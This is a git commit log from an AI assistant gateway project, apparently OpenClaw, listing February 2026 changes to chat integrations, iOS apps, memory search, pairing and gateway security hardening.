d583399c92 Hooks: persist session memory on /reset 2026-02-20 20:19:29 -08:00
Vignesh Natarajan
544c213d42 Memory/QMD: diversify mixed-source search results 2026-02-20 20:13:24 -08:00
Vignesh Natarajan
d7a7ebb75a TUI: dedupe duplicate backspace events in input 2026-02-20 20:10:22 -08:00
Vignesh Natarajan
18b4b47708 TUI: guide pairing-required recovery in disconnect state 2026-02-20 20:04:19 -08:00
Vignesh Natarajan
c0d5fc8d1e CLI: default pairing channel for pairing commands 2026-02-20 19:59:54 -08:00
Vignesh Natarajan
be756b9a89 Memory: fix async sync close race 2026-02-20 19:55:11 -08:00
Ayaan Zaidi
2649e9e044 fix: preselect Telegram-supported status reaction variants (#22380)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 018fcd6e2e
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 09:20:20 +05:30
Shadow
6a27787209 Docker: restore pre-change ownership steps 2026-02-20 21:46:30 -06:00
Tak Hoffman
22ffde90bb tests: align macmini suite expectations with current behavior (openclaw#22379) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-20 21:45:04 -06:00
Vignesh Natarajan
a305dfe626 Memory/QMD: harden multi-collection search and embed scheduling 2026-02-20 19:41:51 -08:00
Vincent Koc
282a545130 chore: fix formatting on CI-drift files (#22391) 2026-02-20 22:40:30 -05:00
Glucksberg
1410d15c5e fix: compaction safeguard extension not loading in production builds (openclaw#22349) thanks @Glucksberg
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini (local run had unrelated baseline failures; Tak approved proceed)

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-20 21:21:09 -06:00
Shadow
e2dbd45418 fix: add configurable ephemeral defaults for Discord slash commands (#16563) (thanks @wei) 2026-02-20 21:19:21 -06:00
Wei He
122bdfa4e1 feat(discord): add configurable ephemeral option for slash commands 2026-02-20 21:19:21 -06:00
Shadow
b294342d7f feat(discord): support forum tag edits via channel-edit (#12070) (thanks @xiaoyaner0201) 2026-02-20 21:17:04 -06:00
Shadow
b7644d61a2 fix: restore Discord model picker UX (#21458) (thanks @pejmanjohn) 2026-02-20 21:04:04 -06:00
hcoj
5dae5e6ef2 fix(tools): forward senderIsOwner to embedded runner so owner-only tools work (#22296)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 0baca5ccc1
Co-authored-by: hcoj <1169805+hcoj@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 08:33:58 +05:30
Vincent Koc
d94d21f9b0 test: isolate local media regression fixtures to allowed roots (#22369)
* fix(tui): strip inbound metadata blocks from user text

* chore: clean up metadata-strip format and changelog credit

* chore: format tui metadata-strip tests

* test(web): isolate local media fixture paths to allow-listed roots
2026-02-20 21:50:50 -05:00
Vincent Koc
9a6b26d427 fix(ui): strip inbound metadata blocks and guard reply-tag streaming (clean rewrite) (#22346)
* fix(ui): strip inbound metadata blocks from user messages

* chore: clean up metadata-strip format and changelog credit

* Update src/shared/chat-envelope.ts

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>

---------

Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2026-02-20 21:41:32 -05:00
Taras Lukavyi
0e068194ad fix(tool-display): cd ~/dir && npm install shows as run cd — compound commands truncated to first stage (#21925)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4728bfe8e7
Co-authored-by: Lukavyi <1013690+Lukavyi@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-21 08:03:32 +05:30
Shadow
866b33e0d3 fix: lazy-load Discord allowlist guilds (#20208) (thanks @zhangjunmengyang) 2026-02-20 20:26:46 -06:00
Harold Hunt
844d84a7f5 Issue 17774 - Usage - Local - Show data from midnight to midnight of selected dates for browser time zone (AI assisted) (openclaw#19357) thanks @huntharo
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini (override approved by Tak for this run; local baseline failures outside PR scope)

Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-20 20:09:03 -06:00
Harold Hunt
02ac5b59d1 Skills: add SonosCLI troubleshooting guidance (openclaw#21316) thanks @huntharo
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: huntharo <5617868+huntharo@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-20 19:52:42 -06:00
jackheuberger
feccac6723 fix: sanitize thinking blocks for GitHub Copilot Claude models (openclaw#19459) thanks @jackheuberger
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: jackheuberger <12731288+jackheuberger@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-20 19:48:09 -06:00
Mars
a4e7e952e1 fix(ui): strip injected inbound metadata from user messages in history (#22142)
* fix(ui): strip injected inbound metadata from user messages in history

Fixes #21106
Fixes #21109
Fixes #22116

OpenClaw prepends structured metadata blocks ("Conversation info",
"Sender:", reply-context) to user messages before sending them to the
LLM. These blocks are intentionally AI-context-only and must never reach
the chat history that users see.

Root cause:
`buildInboundUserContextPrefix` in `inbound-meta.ts` prepends the
blocks directly to the stored user message content string, so they are
persisted verbatim and later shown in webchat, TUI, and every other
rendering surface.

Fix:
• `src/auto-reply/reply/strip-inbound-meta.ts` — new utility with a
  6-sentinel fast-path strip (zero-alloc on miss) + 9-test suite.
• `src/tui/tui-session-actions.ts` — wraps `chatLog.addUser(...)` with
  `stripInboundMetadata()` so the TUI never stores the prefix.
• `ui/src/ui/chat/message-normalizer.ts` — strips user-role text content
  items during normalisation so webchat renders clean messages.

* fix(ui): strip inbound metadata for user messages in display path

* test: fix discord component send test spread typing

* fix: strip inbound metadata from mac chat history decode

* fix: align Swift metadata stripping parser with TS implementation

* fix: normalize line endings in inbound metadata stripper

* chore: document Swift/TS metadata-sentinel ownership

* chore: update changelog for inbound metadata strip fix

* changelog: credit Mellowambience for 22142

---------

Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
2026-02-20 17:35:13 -08:00
Shadow
f555835b09 Channels: add thread-aware model overrides 2026-02-20 19:26:25 -06:00
Shadow
ee8dd40509 Discord/Telegram: emit edit system events (#22310) 2026-02-20 19:20:07 -06:00
Shadow
105a6307cc Tests: fix discord components loadConfig mock 2026-02-20 18:37:32 -06:00
Shadow
eedea6cf34 Discord: add trusted channel topics on new sessions 2026-02-20 18:22:13 -06:00
Tyler Yust
2dba150c16 Fix path-root flaky tests and restore status emoji defaults (#22274) 2026-02-20 15:45:33 -08:00
Tyler Yust
fe57bea088 Subagents: restore announce chain + fix nested retry/drop regressions (#22223)
* Subagents: restore announce flow and fix nested delivery retries

* fix: prep subagent announce + docs alignment (#22223) (thanks @tyler6204)
2026-02-20 15:39:09 -08:00
Shadow
086af56867 Discord: keep DM component sessions 2026-02-20 17:37:44 -06:00
Harold Hunt
0f1b2ad962 chore: Reduce app-specific docker image size by ~50% / ~900 MB (AI assisted) (#22019)
* chore: Reduce docker image size by 50%

* Changelog: note Docker build ownership

---------

Co-authored-by: Shadow <hi@shadowing.dev>
2026-02-20 17:32:48 -06:00
Shadow
3e1ed0032d Docs: add Discord forum thread docs 2026-02-20 17:20:24 -06:00
Shadow
68fd8ed866 clankers are dumb 2026-02-20 16:51:12 -06:00
Shadow
1eec2aee4f Discord: ingest inbound stickers 2026-02-20 16:47:47 -06:00
Shadow
64c29c3755 Discord: avoid reply spam on chunked sends 2026-02-20 16:37:28 -06:00
Shadow
df002ef840 Workflow: clarify dirty PR response 2026-02-20 16:32:05 -06:00
Shadow
ab27d7b05a Discord: fix voice command typing 2026-02-20 16:31:41 -06:00
Shadow
4ab946eebf Discord VC: voice channels, transcription, and TTS (#18774) 2026-02-20 16:06:07 -06:00
Shadow
3100b77f12 Agents: clarify authorized sender prompt (Closes #19794) 2026-02-20 15:55:36 -06:00
Shadow
30a0d3fce1 Status reactions: fix stall timers and gating (#22190)
* feat: add shared status reaction controller

* feat: add statusReactions config schema

* feat: wire status reactions for Discord and Telegram

* fix: restore original 10s/30s stall defaults for Discord compatibility

* Status reactions: fix stall timers and gating

* Format status reaction imports

---------

Co-authored-by: Matt <mateus.carniatto@gmail.com>
2026-02-20 15:27:42 -06:00
Tyler Yust
47f3979758 Gateway: force loopback self-connections for local binds 2026-02-20 13:08:26 -08:00
Shadow
c378439246 Security: harden tool media paths 2026-02-20 13:32:49 -06:00
Mariano
67edc7790f iOS: gate capabilities by permissions and add settings controls (#22135)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 92c2660d08
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 19:26:30 +00:00
Shadow
39816e61b0 Security: restrict canvas jsonlPath file reads 2026-02-20 13:21:55 -06:00
Shadow
0692927ccd Changelog: note canvas auth hardening 2026-02-20 13:11:55 -06:00
Mariano
f52476f18c iOS Watch: bridge mirrored notification actions into quick replies (#22123)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 401fbe8a7a
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 19:04:58 +00:00
Mariano
9476dda9f6 iOS Chat: clean UI noise and format tool outputs (#22122)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 34dd87b0c0
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 19:01:03 +00:00
Mariano
5828708343 iOS/Gateway: harden pairing resolution and settings-driven capability refresh (#22120)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 55b8a93a99
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 18:57:04 +00:00
Shadow
61f646c41f Daemon: harden systemd unit env rendering 2026-02-20 12:51:14 -06:00
Shadow
84281abd4b Docker: drop root in test images 2026-02-20 12:45:34 -06:00
Shadow
8c9f35cdb5 Agents: sanitize skill env overrides 2026-02-20 12:38:54 -06:00
Shadow
09e6970386 Discord: implement stream preview mode (#22111)
* Discord: implement stream preview mode

* Changelog: note Discord stream preview mode

* Tests: type discord draft stream mocks

* Docs: document Discord stream preview
2026-02-20 12:37:15 -06:00
Mariano
5dd304d1c6 fix(gateway): clear pairing state on device token mismatch (#22071)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ad38d1a529
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 18:21:13 +00:00
Mariano
094dbdaf2b fix(gateway): require loopback proxy IP for trusted-proxy + bind=loopback (#22082)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 6ff3ca9b5d
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 18:03:53 +00:00
Xinhua Gu
9c5249714d fix(gateway): trusted-proxy auth rejected when bind=loopback (#20097)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 8de62f1a8f
Co-authored-by: xinhuagu <562450+xinhuagu@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:51:35 +00:00
Nachx639
868fe48d58 fix(gateway): allow health method for all authenticated roles (#19699)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b976443267
Co-authored-by: Nachx639 <71144023+Nachx639@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:48:44 +00:00
Marcus Castro
c8ee33c162 fix(gateway): include export name in hook transform cache key (#13855)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: a9eea919b8
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:44:51 +00:00
Marcus Castro
618b36f07a fix(gateway): return 404 for missing static assets instead of SPA fallback (#12060)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 32d2ca7a13
Co-authored-by: mcaxtr <7562095+mcaxtr@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:41:57 +00:00
Coy Geek
914a7c5359 fix: Device Token Scope Escalation via Rotate Endpoint (#20703)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4f2c2ecef4
Co-authored-by: coygeek <65363919+coygeek@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:38:58 +00:00
Coy Geek
40a292619e fix: Control UI Insecure Auth Bypass Allows Token-Only Auth Over HTTP (#20684)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ad9be4b4d6
Co-authored-by: coygeek <65363919+coygeek@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:34:34 +00:00
Mariano
fe3215092c test(ios): cover IPv4-mapped IPv6 loopback in manual TLS policy (#22045)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: ec952f0a80
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 17:23:33 +00:00
Mariano
fd8c6d1f77 iOS: refresh phone/watch app icons with lobster assets (#21997)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d41caeff38
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 16:41:41 +00:00
Mariano
738b011624 iOS/watch: add actionable watch approvals and quick replies (#21996)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 3c2a01f903
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 16:39:13 +00:00
Mariano
8e4f6c0384 fix(browser): block upload symlink escapes (#21972)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 4381ef9a4d
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 16:36:25 +00:00
Mariano
774d73b458 fix(macos): reject insecure non-loopback ws remote gateway urls (#21971)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9e8cdbf095
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 16:34:00 +00:00
Mariano
ebae6f918e fix(shared): reject insecure non-loopback gateway deep links (#21970)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 279173c7db
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 16:31:40 +00:00
Mariano
8fa46d709a fix(ios): force tls for non-loopback manual gateway hosts (#21969)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 9fb39f566e
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Co-authored-by: mbelinky <132747814+mbelinky@users.noreply.github.com>
Reviewed-by: @mbelinky
2026-02-20 16:28:47 +00:00
Sebastian
72e937a591 fix(gitignore): add mise configuration files and correct .agents entries 2026-02-20 10:17:31 -05:00
Seb Slight
1b886e7378 docs(ui): add animated underline for nav tabs (#21912)
Add a responsive, animated underline indicator for navigation tabs to
improve visual focus and active-state feedback.

- Introduce CSS for .nav-tabs, .nav-tabs-item and a .nav-tabs-underline
  element, including transitions, positioning, and dark mode color.
- Hide default first h1 in #content to keep header layout consistent.
- Add docs/nav-tabs-underline.js to create and manage the underline
  element, observe DOM mutations, and update underline position/width on
  changes, resize, and when fonts load.
- Preserve last known underline position/width across re-initializations
  to avoid visual jumps.

This change makes active tab state visible with smooth movement and
ensures the underline stays synchronized with dynamic content.
2026-02-20 09:33:46 -05:00
Seb Slight
7bee4ea336 fix(gitignore): include top-level .agents directory (#21886)
Add a .agents entry to .gitignore to ensure the repository
ignores a top-level directory named ".agents" in addition to the
existing .agents/ pattern and other agent-related files.
2026-02-20 08:59:07 -05:00
Seb Slight
e2c5f8fda4 chore: ignore .agents directory (#21877)
Add .agents/ to .gitignore so generated or local agent files
are excluded from version control.
2026-02-20 08:50:42 -05:00
Nimrod Gutman
741435aacd fix(web): remove unrelated login changes 2026-02-20 14:47:20 +02:00
Nimrod Gutman
ac0c1c26b1 fix: preserve ios bg refresh plist key and handle web login retry failures 2026-02-20 14:47:20 +02:00
Nimrod Gutman
8775d34fba fix(pairing): simplify pending merge and harden mixed-role onboarding 2026-02-20 14:47:20 +02:00
Nimrod Gutman
1da23be302 fix(pairing): preserve operator scopes for ios onboarding 2026-02-20 14:47:20 +02:00
mudrii
7ecfc1d93c fix(auth): bidirectional mode/type compat + sync OAuth to all agents (#12692)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 2dee8e1174
Co-authored-by: mudrii <220262+mudrii@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-20 16:01:09 +05:30
Vignesh Natarajan
083298ab9d fix: memory ENOENT handling (#20680) (thanks @pahdo) 2026-02-19 23:33:28 -08:00
Vignesh Natarajan
5542a43623 Memory: share ENOENT helpers 2026-02-19 23:33:28 -08:00
Vignesh Natarajan
14a3af212d Format: align memory imports 2026-02-19 23:33:28 -08:00
Vignesh Natarajan
ec4198954a Memory: harden readFile ENOENT handling 2026-02-19 23:33:28 -08:00
Daniel Zou
f3f47886ba fix(memory): handle ENOENT gracefully in readFile instead of throwing
When a memory file doesn't exist yet (e.g. daily log `2026-02-19.md`),
`readFile` now returns `{ text: "", path }` instead of propagating the
ENOENT error. This prevents noisy error responses from the memory read
tool and aligns with the "graceful degradation" recommendation in #9307.

Closes #9307

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-19 23:33:28 -08:00
Logan Pritchett
8f80e2a467 fix(macos): set release bundle ID so Sparkle auto-update works (#19750)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: d16e61e35a
Co-authored-by: loganprit <72722788+loganprit@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-20 12:08:10 +05:30
Ayaan Zaidi
ab256b8ec7 fix: split telegram reasoning and answer draft streams (#20774)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7458444144
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-20 11:14:39 +05:30
mudrii
beb2b74b5b fix(telegram): prevent silent message loss across all streamMode settings (#19041)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 82898339f0
Co-authored-by: mudrii <220262+mudrii@users.noreply.github.com>
Co-authored-by: obviyus <22031114+obviyus@users.noreply.github.com>
Reviewed-by: @obviyus
2026-02-20 10:46:55 +05:30
Shakker
99db4c7903 Changelog: document pairing bootstrap recovery (#21616) 2026-02-20 05:12:05 +00:00
Shakker
aa3c8f732b CLI: recover devices commands via local pairing fallback 2026-02-20 05:12:05 +00:00
Shakker
525d6e0671 Gateway: align pairing scope checks for read access 2026-02-20 05:12:05 +00:00
Sean McLellan
86f207adb0 fix: clean tool schemas and thinking blocks for google-antigravity (openclaw#19732) thanks @Oceanswave
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Oceanswave <760674+Oceanswave@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:49:57 -06:00
Hudson
7b81383d44 fix(signal): preserve case for Base64 group IDs in target normalization (openclaw#10623) thanks @heyhudson
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: heyhudson <258693705+heyhudson@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:41:55 -06:00
Kirill Shchetynin
ee519086f6 Feature/default messenger delivery target (openclaw#16985) thanks @KirillShchetinin
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: KirillShchetinin <13061871+KirillShchetinin@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:37:19 -06:00
Ephraim Moss
59e58bf81c fix: strip unsupported JSON Schema keywords for Claude via Cloud Code Assist (openclaw#20124) thanks @ephraimm
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check (fails on existing unrelated type error: src/agents/subagent-announce.format.e2e.test.ts:71)
- pnpm test:e2e src/agents/pi-embedded-runner/google.e2e.test.ts
- pnpm test:macmini (fails on existing unrelated test: src/agents/subagent-registry.steer-restart.test.ts)

Co-authored-by: ephraimm <2803669+ephraimm@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:31:20 -06:00
Nabbil Khan
f91034aa6b fix(auth): clear all usage stats fields in clearAuthProfileCooldown (openclaw#19211) thanks @nabbilkhan
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: nabbilkhan <203121263+nabbilkhan@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:21:37 -06:00
Mr. Guy
dece0fa146 fix: add customBindHost to gateway config validation (openclaw#20318) thanks @MisterGuy420
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: MisterGuy420 <255743668+MisterGuy420@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:06:22 -06:00
Tak Hoffman
14618af237 chore: bump Pi SDK packages to 0.54.0 (openclaw#21578) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 22:04:33 -06:00
Clawborn
cbcc75f6c7 Add Claude Sonnet 4.6 and 4.5 to GitHub Copilot model catalog (openclaw#20270) thanks @Clawborn
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Clawborn <261310391+Clawborn@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 21:54:52 -06:00
Tak Hoffman
c1ac37a641 Config: expose Pi compaction tuning values (openclaw#21568) thanks @Takhoffman
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Takhoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 21:41:09 -06:00
Dale Babiy
10dab4f2c7 fix(anthropic): preserve pi-ai default betas when injecting anthropic-beta header (openclaw#19789) thanks @minupla
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: minupla <42547246+minupla@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 21:23:00 -06:00
Glucksberg
38b4fb5d55 fix(auth/session): preserve override reset behavior and repair oauth profile-id drift (openclaw#18820) thanks @Glucksberg
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Glucksberg <80581902+Glucksberg@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 21:16:26 -06:00
Vishal
f1e1cc4ee3 feat: surface cached token counts in /status output (openclaw#21248) thanks @vishaltandale00
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: vishaltandale00 <9222298+vishaltandale00@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 21:06:13 -06:00
George Pickett
db8ffb13f4 fix: prevent whatsapp fallback for webchat sessions (#21534) (thanks @lbo728) 2026-02-19 18:41:57 -08:00
lbo728
d6fbed7904 fix: prevent whatsapp fallback for webchat sessions
Fixes #21444

When connecting via Hub Chat/webchat, the runtime channel was incorrectly
defaulting to 'whatsapp' instead of being omitted or set to 'webchat'.

Root cause: The channel resolution fallback chain (OriginatingChannel ->
Surface -> Provider) would use Provider even for webchat sessions, where
Provider may be unrelated (e.g., the user's default configured channel).

Changes:
- Add explicit webchat detection before falling back to Provider
- Skip Provider fallback when Surface is 'webchat' or Provider is 'webchat'
- Channel field is now undefined for webchat sessions (no incorrect label)

This ensures webchat sessions don't receive WhatsApp-specific formatting
hints (no markdown tables, no headers) and fixes the runtime label.
2026-02-19 18:41:57 -08:00
青雲
21448508a1 fix: Grok web_search extracts output_text blocks at top level (openclaw#20508) thanks @echoVic
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: echoVic <16428813+echoVic@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 20:37:15 -06:00
Tak Hoffman
d9e46028f5 fix(cron/whatsapp): route implicit delivery to allowlisted recipients (openclaw#21533) thanks @Takhoffman
Verified:
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 20:33:37 -06:00
Rodrigo Uroz
a87b5fb009 (feat): MMR and temporal decay / bring back schema changes (openclaw#18786) thanks @rodrigouroz
Verified:
- pnpm install --frozen-lockfile
- pnpm build
- pnpm check
- pnpm test:macmini

Co-authored-by: rodrigouroz <384037+rodrigouroz@users.noreply.github.com>
Co-authored-by: Tak Hoffman <781889+Takhoffman@users.noreply.github.com>
2026-02-19 20:20:02 -06:00
adhitShet
164d478652 fix(cli): correct --verbose / -v option syntax in acp commands (#21303)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 20d058dcf5
Co-authored-by: adhitShet <131381638+adhitShet@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 21:04:22 -05:00
Gustavo Madeira Santana
9264a8e21a chore: move skills to maintainers repository 2026-02-19 20:50:24 -05:00
ahdernasr
e321f21daa fix: serialize tool result delivery to preserve message ordering (#21231)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 68adbf58c8
Co-authored-by: ahdernasr <44983175+ahdernasr@users.noreply.github.com>
Co-authored-by: joshavant <830519+joshavant@users.noreply.github.com>
Reviewed-by: @joshavant
2026-02-19 17:23:23 -08:00
adhitShet
d871ee91d0 fix(config-cli): correct misleading --json flag description (#21332)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: b6c8d1edfa
Co-authored-by: adhitShet <131381638+adhitShet@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 20:09:17 -05:00
adhitShet
ae4907ce6e fix(heartbeat): return false for zero-width active-hours window (#21408)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 993860bd03
Co-authored-by: adhitShet <131381638+adhitShet@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 20:03:57 -05:00
adhitShet
57f0ac21e9 fix(heartbeat): constrain 24-hour sentinel to 24:00 only in regex (#21410)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 7b8fe75738
Co-authored-by: adhitShet <131381638+adhitShet@users.noreply.github.com>
Co-authored-by: gumadeiras <5599352+gumadeiras@users.noreply.github.com>
Reviewed-by: @gumadeiras
2026-02-19 19:52:38 -05:00
adhitShet
399781aaca fix: remove duplicate comment in orderProfilesByMode (#21409)
Merged via /review-pr -> /prepare-pr -> /merge-pr.

Prepared head SHA: 04271651d4
